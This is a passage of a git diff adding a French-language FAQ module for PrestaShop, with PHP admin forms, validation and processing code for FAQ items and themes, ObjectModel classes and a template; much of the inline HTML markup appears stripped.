            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '
          '; + } + + private function _displayAddItemForm() + { + /* Sets faq : depends if edited or added */ + $faq = null; + if (Tools::isSubmit('id_faq') && $this->faqExists((int)Tools::getValue('id_faq'))) + $faq = new faqItem((int)Tools::getValue('id_faq')); + /* Checks if directory is writable */ + if (!is_writable('.')) + $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'title¤description'; + $this->_html .= ''; + + /* Form */ + $this->_html .= '
          '; + + /* Fieldset Upload */ + // $this->_html .= ' + //
          + // 1 - '.$this->l('Téléchargez votre image').''; + // /* Image */ + // $this->_html .= '
          '; + // foreach ($languages as $language) + // { + // $this->_html .= '
          '; + // $this->_html .= ''; + // /* Sets image as hidden in case it does not change */ + // if ($faq && $faq->image[$language['id_lang']]) + // $this->_html .= ''; + // /* Display image */ + // if ($faq && $faq->image[$language['id_lang']]) + // $this->_html .= ''; + // $this->_html .= '
          '; + // } + // $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'image', true); + // /* End Fieldset Upload */ + // $this->_html .= '


          '; + + + /* Fieldset edit/add */ + $this->_html .= '
          '; + if (Tools::isSubmit('addfaq')) /* Configure legend */ + $this->_html .= ' 1 - '.$this->l('Ajouter une question réponse').''; + elseif (Tools::isSubmit('id_faq')) /* Edit legend */ + $this->_html .= ''.$this->l('Modifier votre question réponse').''; + /* Sets id faq as hidden */ + if ($faq && Tools::getValue('id_faq')) + $this->_html .= ''; + /* Sets position as hidden */ + $this->_html .= ''; + + $themes=$this->getItemsTheme(null); + // print_r($themes); + $les_themes=''; + + /* theme parent */ + $this->_html .= '
          '; + $this->_html .= '
          '.$les_themes.'
          '; + $this->_html .= '


          '; + /* Form content */ + + + /* Form content */ + /* Title */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'title', true); + $this->_html .= '


          '; + + /* Description */ + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'description', true); + $this->_html .= '

          '; + + + + /* Active */ + $this->_html .= ' + +
          + Yes + active) && (int)$faq->active == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + active) && (int)$faq->active == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
          '; + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Champs obligatoire').'

          +
          +
          '; + } + private function _displayAddThemeForm() + { + /* Sets faq : depends if edited or added */ + $faq = null; + if (Tools::isSubmit('id_theme') && $this->faqThemeExists((int)Tools::getValue('id_theme'))) + $faq = new faqTheme((int)Tools::getValue('id_theme')); + // print_r($faq); + /* Checks if directory is writable */ + // if (!is_writable('.')) + // $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'title'; + $this->_html .= ''; + + /* Form */ + $this->_html .= '
          '; + + /* Fieldset edit/add */ + $this->_html .= '
          '; + if (Tools::getValue('addtheme')) /* Configure legend */ + $this->_html .= ' '.$this->l('Ajouter un thème').''; + elseif (Tools::getValue('id_theme')) /* Edit legend */ + $this->_html .= ' '.$this->l('Modifier le thème').''; + /* Sets id faq as hidden */ + $id_faq=0; + if ($faq && Tools::getValue('id_theme')){ + $id_faq=$faq->id; + $this->_html .= ''; + } + /* Sets position as hidden */ + $this->_html .= ''; + + /* Form content */ + + $themes=$this->getItemsTheme(null,true); + // print_r($themes); + $les_themes=''; + + /* theme parent */ + $this->_html .= '
          '; + $this->_html .= '
          '.$les_themes.'
          '; + $this->_html .= '


          '; + /* Form content */ + + /* Title */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'title', true); + $this->_html .= '


          '; + + + /* Active */ + $this->_html .= ' + +
          + Yes + active) && (int)$faq->active == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + active) && (int)$faq->active == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
          '; + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Champs obligatoire').'

          +
          +
          '; + } + + private function _postValidation() + { + $errors = array(); + + if (Tools::isSubmit('changeStatus')) + { + if (!Validate::isInt(Tools::getValue('id_faq'))) + $errors[] = $this->l('Invalid faq'); + } + /* Validation for faq */ + elseif (Tools::isSubmit('submitfaq')) + { + /* Checks state (active) */ + if (!Validate::isInt(Tools::getValue('active_faq')) || (Tools::getValue('active_faq') != 0 && Tools::getValue('active_faq') != 1)) + $errors[] = $this->l('Invalid faq state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid faq position'); + /* If edit : checks id_faq */ + if (Tools::isSubmit('id_faq')) + { + if (!Validate::isInt(Tools::getValue('id_faq')) && !$this->faqExists(Tools::getValue('id_faq'))) + $errors[] = $this->l('Invalid id_faq'); + } + /* Checks title/url/legend/description/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + if (Tools::strlen(Tools::getValue('title_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The title is too long.'); + // if (Tools::strlen(Tools::getValue('description_'.$language['id_lang'])) > 4000) + // $errors[] = $this->l('The description is too long.'); + // if (Tools::getValue('image_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_'.$language['id_lang']))) + // $errors[] = $this->l('Invalid filename'); + // if (Tools::getValue('image_old_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_old_'.$language['id_lang']))) + // $errors[] = $this->l('Invalid filename'); + } + + /* Checks title/url/legend/description for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + if (Tools::strlen(Tools::getValue('title_'.$id_lang_default)) == 0) + $errors[] = $this->l('Question obligatoire'); + if (Tools::strlen(Tools::getValue('description_'.$id_lang_default)) == 0) + $errors[] = $this->l('Description obligatoire'); + // if (!Tools::isSubmit('has_picture') && (!isset($_FILES['image_'.$id_lang_default]) || empty($_FILES['image_'.$id_lang_default]['tmp_name']))) + // $errors[] = $this->l('The image is not set.'); + // if (Tools::getValue('image_old_'.$id_lang_default) && !Validate::isFileName(Tools::getValue('image_old_'.$id_lang_default))) + // $errors[] = $this->l('The image is not set.'); + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_faq') && (!Validate::isInt(Tools::getValue('delete_id_faq')) || !$this->faqExists((int)Tools::getValue('delete_id_faq')))) + $errors[] = $this->l('Invalid id_faq'); + + elseif (Tools::isSubmit('submittheme')) + { + /* Checks state (active) */ + if (!Validate::isInt(Tools::getValue('active_theme')) || (Tools::getValue('active_theme') != 0 && Tools::getValue('active_theme') != 1)) + $errors[] = $this->l('Invalid theme state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid theme position'); + /* If edit : checks id_theme */ + if (Tools::isSubmit('id_theme')) + { + if (!Validate::isInt(Tools::getValue('id_theme')) && !$this->faqThemeExists(Tools::getValue('id_theme'))) + $errors[] = $this->l('Invalid id_theme'); + } + /* Checks title/url/legend/description/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + if (Tools::strlen(Tools::getValue('title_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The title is too long.'); + // if (Tools::strlen(Tools::getValue('description_'.$language['id_lang'])) > 4000) + // $errors[] = $this->l('The description is too long.'); + // if (Tools::getValue('image_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_'.$language['id_lang']))) + // $errors[] = $this->l('Invalid filename'); + // if (Tools::getValue('image_old_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_old_'.$language['id_lang']))) + // $errors[] = $this->l('Invalid filename'); + } + + /* Checks title/url/legend/description for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + if (Tools::strlen(Tools::getValue('title_'.$id_lang_default)) == 0) + $errors[] = $this->l('Nom du thème obligatoire'); + + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_theme') && (!Validate::isInt(Tools::getValue('delete_id_theme')) || !$this->faqThemeExists((int)Tools::getValue('delete_id_theme')))) + $errors[] = $this->l('Invalid id_theme'); + + /* Display errors if needed */ + if (count($errors)) + { + $this->_html .= $this->displayError(implode('
          ', $errors)); + return false; + } + + /* Returns if validation is ok */ + return true; + } + + private function _postProcess() + { + $errors = array(); + + if (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_faq')) + { + $faq = new faqItem((int)Tools::getValue('id_faq')); + if ($faq->active == 0) + $faq->active = 1; + else + $faq->active = 0; + $res = $faq->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes faq */ + elseif (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_theme')) + { + $faq = new faqTheme((int)Tools::getValue('id_theme')); + if ($faq->active == 0) + $faq->active = 1; + else + $faq->active = 0; + $res = $faq->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes faq */ + elseif (Tools::isSubmit('submitfaq')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_faq')) + { + $faq = new faqItem((int)Tools::getValue('id_faq')); + if (!Validate::isLoadedObject($faq)) + { + $this->_html .= $this->displayError($this->l('Invalid id_faq')); + return; + } + } + else + $faq = new faqItem(); + /* Sets position */ + $faq->position = (int)Tools::getValue('position'); + $faq->id_theme = (int)Tools::getValue('id_theme'); + /* Sets active */ + $faq->active = (int)Tools::getValue('active_faq'); + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $faq->title[$language['id_lang']] = Tools::getValue('title_'.$language['id_lang']); + $faq->description[$language['id_lang']] = Tools::getValue('description_'.$language['id_lang']); + + // /* Uploads image and sets faq */ + // $type = strtolower(substr(strrchr($_FILES['image_'.$language['id_lang']]['name'], '.'), 1)); + // $imagesize = array(); + // $imagesize = @getimagesize($_FILES['image_'.$language['id_lang']]['tmp_name']); + // if (isset($_FILES['image_'.$language['id_lang']]) && + // isset($_FILES['image_'.$language['id_lang']]['tmp_name']) && + // !empty($_FILES['image_'.$language['id_lang']]['tmp_name']) && + // !empty($imagesize) && + // in_array(strtolower(substr(strrchr($imagesize['mime'], '/'), 1)), array('jpg', 'gif', 'jpeg', 'png')) && + // in_array($type, array('jpg', 'gif', 'jpeg', 'png'))) + // { + // $temp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS'); + // $salt = sha1(microtime()); + // if ($error = ImageManager::validateUpload($_FILES['image_'.$language['id_lang']])) + // $errors[] = $error; + // elseif (!$temp_name || !move_uploaded_file($_FILES['image_'.$language['id_lang']]['tmp_name'], $temp_name)) + // return false; + // elseif (!ImageManager::resize($temp_name, dirname(__FILE__).'/images/'.Tools::encrypt($_FILES['image_'.$language['id_lang']]['name'].$salt).'.'.$type, null, null, $type)) + // $errors[] = $this->displayError($this->l('An error occurred during the image upload process.')); + // if (isset($temp_name)) + // @unlink($temp_name); + // $faq->image[$language['id_lang']] = Tools::encrypt($_FILES['image_'.($language['id_lang'])]['name'].$salt).'.'.$type; + // } + // elseif (Tools::getValue('image_old_'.$language['id_lang']) != '') + // $faq->image[$language['id_lang']] = Tools::getValue('image_old_'.$language['id_lang']); + } + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_faq')) + { + if (!$faq->add()) + $errors[] = $this->displayError($this->l('The faq could not be added.')); + } + /* Update */ + elseif (!$faq->update()) + $errors[] = $this->displayError($this->l('The faq could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_faq')) + { + $faq = new faqItem((int)Tools::getValue('delete_id_faq')); + $res = $faq->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('faq deleted')); + } + elseif (Tools::isSubmit('submittheme')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_theme')) + { + $faq = new faqTheme((int)Tools::getValue('id_theme')); + if (!Validate::isLoadedObject($faq)) + { + $this->_html .= $this->displayError($this->l('Invalid id_theme')); + return; + } + } + else + $faq = new faqTheme(); + /* Sets position */ + $faq->id_faq_parent = (int)Tools::getValue('id_faq_parent'); + + $faq->position = (int)Tools::getValue('position'); + /* Sets active */ + $faq->active = (int)Tools::getValue('active_theme'); + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $faq->title[$language['id_lang']] = Tools::getValue('title_'.$language['id_lang']); + } + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_theme')) + { + $faq->add(); + // $errors[] = $this->displayError($this->l('Le thème ne peut être créé')); + } + /* Update */ + elseif (!$faq->update()) + $errors[] = $this->displayError($this->l('Le thème n\'a pas été modifié')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_theme')) + { + $faq = new faqTheme((int)Tools::getValue('delete_id_theme')); + $res = $faq->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('Thème supprimé')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
          ', $errors)); + elseif (Tools::isSubmit('submittheme') && Tools::getValue('id_theme')) + $this->_html .= $this->displayConfirmation($this->l('Thème updated')); + elseif (Tools::isSubmit('submittheme')) + $this->_html .= $this->displayConfirmation($this->l('Thème added')); + } + + private function _prepareHook() + { + if (!$this->isCached('devspefaq.tpl', $this->getCacheId())) + { + // $faqr = array( + // 'width' => Configuration::get('devspefaq_WIDTH'), + // 'height' => Configuration::get('devspefaq_HEIGHT'), + // 'speed' => Configuration::get('devspefaq_SPEED'), + // 'pause' => Configuration::get('devspefaq_PAUSE'), + // 'loop' => Configuration::get('devspefaq_LOOP'), + // ); + + $faqs = $this->getItemsFaq(true); + if (!$faqs) + return false; + + $this->smarty->assign('devspefaq_item', $faqs); + // $this->smarty->assign('devspefaq', $faqr); + } + + return true; + } + + public function hookTop() + { + // if(!$this->_prepareHook()) + // return; + + // Check if not a mobile theme + /* + if ($this->context->getMobileDevice() != false) + return false; + + // $this->context->controller->addJS($this->_path.'js/jquery.bxfaqr.min.js'); + $this->context->controller->addCSS($this->_path.'devspefaq.css'); + $this->context->controller->addJS($this->_path.'js/devspefaq.js'); + return $this->display(__FILE__, 'devspefaq.tpl', $this->getCacheId()); + */ + } + + public function clearCache() + { + $this->_clearCache('devspefaq.tpl'); + } + + public function hookActionShopDataDuplication($params) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'devspefaq (id_devspefaq_item, id_shop) + SELECT id_devspefaq_item, '.(int)$params['new_id_shop'].' + FROM '._DB_PREFIX_.'devspefaq + WHERE id_shop = '.(int)$params['old_id_shop']); + $this->clearCache(); + } + + public function headerHTML() + { + if (Tools::getValue('controller') != 'AdminModules' && Tools::getValue('configure') != $this->name) + return; + + $this->context->controller->addJqueryUI('ui.sortable'); + /* Style & js for fieldset 'faqs configuration' */ + $html = ' + + + '; + + return $html; + } + + public function getNextPosition() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'devspefaq_item` hss, `'._DB_PREFIX_.'devspefaq` hs + WHERE hss.`id_devspefaq_item` = hs.`id_devspefaq_item` AND hs.`id_shop` = '.(int)$this->context->shop->id + ); + + return (++$row['next_position']); + } + public function getNextPositionTheme() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'devspefaq_theme` hss' + ); + + return (++$row['next_position']); + } + + public function getItemsFaq($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_devspefaq_item` as id_faq, + hss.`position`, + hss.`id_theme`, + hss.`active`, + hssl.`title`, + hssl.`description` + FROM '._DB_PREFIX_.'devspefaq hs + LEFT JOIN '._DB_PREFIX_.'devspefaq_item hss ON (hs.id_devspefaq_item = hss.id_devspefaq_item) + LEFT JOIN '._DB_PREFIX_.'devspefaq_item_lang hssl ON (hss.id_devspefaq_item = hssl.id_devspefaq_item) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' ').' + ORDER BY hss.position'); + } + + public function getItemsTheme($active = null,$zero=null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`id_faq_theme` as id_theme, + hss.`position`, + hss.`active`, + hss.`id_faq_parent`, + hssl.`title` + FROM '._DB_PREFIX_.'devspefaq_theme hss + LEFT JOIN '._DB_PREFIX_.'devspefaq_theme_lang hssl ON (hss.id_faq_theme = hssl.id_faq_theme) + WHERE hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' '). + ($zero ? ' AND hss.`id_faq_parent` = 0' : ' ').' + ORDER BY hss.position'); + } + + public function displayStatus($id_faq, $active) + { + $title = ((int)$active == 0 ? $this->l('Disabled') : $this->l('Enabled')); + $img = ((int)$active == 0 ? 'disabled.gif' : 'enabled.gif'); + $html = ''; + return $html; + } + + public function faqExists($id_faq) + { + $req = 'SELECT hs.`id_devspefaq_item` as id_faq + FROM `'._DB_PREFIX_.'devspefaq` hs + WHERE hs.`id_devspefaq_item` = '.(int)$id_faq; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } + public function faqThemeExists($id_theme) + { + $req = 'SELECT hs.`id_faq_theme` as id_theme + FROM `'._DB_PREFIX_.'devspefaq_theme` hs + WHERE hs.`id_faq_theme` = '.(int)$id_theme; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } +} diff --git a/modules/devspefaq/devspefaq.tpl b/modules/devspefaq/devspefaq.tpl new file mode 100755 index 0000000..5e1c9fe --- /dev/null +++ b/modules/devspefaq/devspefaq.tpl @@ -0,0 +1,48 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{if isset($devspehomeblocks_slides)} + +{/if} + diff --git a/modules/devspefaq/faq.php b/modules/devspefaq/faq.php new file mode 100755 index 0000000..4abd443 --- /dev/null +++ b/modules/devspefaq/faq.php @@ -0,0 +1,133 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class HomeBlocks extends ObjectModel +{ + public $title; + public $subtitle; + public $description; + public $url; + public $legend; + public $image; + public $active; + public $position; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspehomeblocks_slides', + 'primary' => 'id_devspehomeblocks_slides', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + + // Lang fields + 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString', 'size' => 4000), + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'subtitle' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'legend' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'url' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isUrl', 'required' => true, 'size' => 255), + 'image' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + ) + ); + + public function __construct($id_slide = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_slide, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + $res &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'devspehomeblocks` (`id_shop`, `id_devspehomeblocks_slides`) + VALUES('.(int)$id_shop.', '.(int)$this->id.')' + ); + return $res; + } + + public function delete() + { + $res = true; + + $images = $this->image; + foreach ($images as $image) + { + if (preg_match('/sample/', $image) === 0) + if ($image && file_exists(dirname(__FILE__).'/images/'.$image)) + $res &= @unlink(dirname(__FILE__).'/images/'.$image); + } + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'devspehomeblocks` + WHERE `id_devspehomeblocks_slides` = '.(int)$this->id + ); + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_slide = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'devspehomeblocks_slides` hss, `'._DB_PREFIX_.'devspehomeblocks` hs + WHERE hss.`id_devspehomeblocks_slides` = hs.`id_devspehomeblocks_slides` AND hs.`id_shop` = '.(int)$id_shop + ); + + if ((int)$max == (int)$id_slide) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_devspehomeblocks_slides` as id_slide + FROM `'._DB_PREFIX_.'devspehomeblocks_slides` hss + LEFT JOIN `'._DB_PREFIX_.'devspehomeblocks` hs ON (hss.`id_devspehomeblocks_slides` = hs.`id_devspehomeblocks_slides`) + WHERE hs.`id_shop` = '.(int)$id_shop.' AND hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_slide = new HomeBlocks($row['id_slide']); + --$current_slide->position; + $current_slide->update(); + unset($current_slide); + } + + return true; + } + +} diff --git a/modules/devspefaq/faqItem.php b/modules/devspefaq/faqItem.php new file mode 100755 index 0000000..c884fef --- /dev/null +++ b/modules/devspefaq/faqItem.php @@ -0,0 +1,127 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class faqItem extends ObjectModel +{ + public $title; + public $description; + public $active; + public $position; + public $id_theme; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspefaq_item', + 'primary' => 'id_devspefaq_item', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_theme' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + + // Lang fields + 'description' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString', 'size' => 8000), + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + ) + ); + + public function __construct($id_faq = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_faq, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + $res &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'devspefaq` (`id_shop`, `id_devspefaq_item`) + VALUES('.(int)$id_shop.', '.(int)$this->id.')' + ); + return $res; + } + + public function delete() + { + $res = true; + + // $images = $this->image; + // foreach ($images as $image) + // { + // if (preg_match('/sample/', $image) === 0) + // if ($image && file_exists(dirname(__FILE__).'/images/'.$image)) + // $res &= @unlink(dirname(__FILE__).'/images/'.$image); + // } + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'devspefaq` + WHERE `id_devspefaq_item` = '.(int)$this->id + ); + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_faq = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'devspefaq_item` hss, `'._DB_PREFIX_.'devspefaq` hs + WHERE hss.`id_devspefaq_item` = hs.`id_devspefaq_item` AND hs.`id_shop` = '.(int)$id_shop + ); + + if ((int)$max == (int)$id_faq) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_devspefaq_item` as id_faq + FROM `'._DB_PREFIX_.'devspefaq_item` hss + LEFT JOIN `'._DB_PREFIX_.'devspefaq` hs ON (hss.`id_devspefaq_item` = hs.`id_devspefaq_item`) + WHERE hs.`id_shop` = '.(int)$id_shop.' AND hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_faq = new faqItem($row['id_faq']); + --$current_faq->position; + $current_faq->update(); + unset($current_faq); + } + + return true; + } + +} diff --git a/modules/devspefaq/faqTheme.php b/modules/devspefaq/faqTheme.php new file mode 100755 index 0000000..247700f --- /dev/null +++ b/modules/devspefaq/faqTheme.php @@ -0,0 +1,115 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class faqTheme extends ObjectModel +{ + public $title; + public $id_faq_parent; + public $active; + public $position; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspefaq_theme', + 'primary' => 'id_faq_theme', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_faq_parent' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + + // Lang fields + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + ) + ); + + public function __construct($id_faq = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_faq, $id_lang, $id_shop); + } + + public function add($autodate = false, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + // $res &= Db::getInstance()->execute(' + // INSERT INTO `'._DB_PREFIX_.'devspefaq_theme` (`id_faq_theme`) + // VALUES('.(int)$this->id.')' + // ); + return $res; + } + + public function delete() + { + $res = true; + + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'devspefaq_theme` + WHERE `id_faq_theme` = '.(int)$this->id + ); + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_faq = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'devspefaq_theme` hss'); + + if ((int)$max == (int)$id_faq) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_faq_theme` as id_faq + FROM `'._DB_PREFIX_.'devspefaq_theme` hss + WHERE hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_faq = new faqtheme($row['id_faq']); + --$current_faq->position; + $current_faq->update(); + unset($current_faq); + } + + return true; + } + +} diff --git a/modules/devspefaq/gray_next.png b/modules/devspefaq/gray_next.png new file mode 100755 index 0000000..0f627e7 Binary files /dev/null and b/modules/devspefaq/gray_next.png differ diff --git a/modules/devspefaq/gray_next0.png b/modules/devspefaq/gray_next0.png new file mode 100755 index 0000000..f7e93ee Binary files /dev/null and b/modules/devspefaq/gray_next0.png differ diff --git a/modules/devspefaq/gray_pager.png b/modules/devspefaq/gray_pager.png new file mode 100755 index 0000000..f4780d2 Binary files /dev/null and b/modules/devspefaq/gray_pager.png differ diff 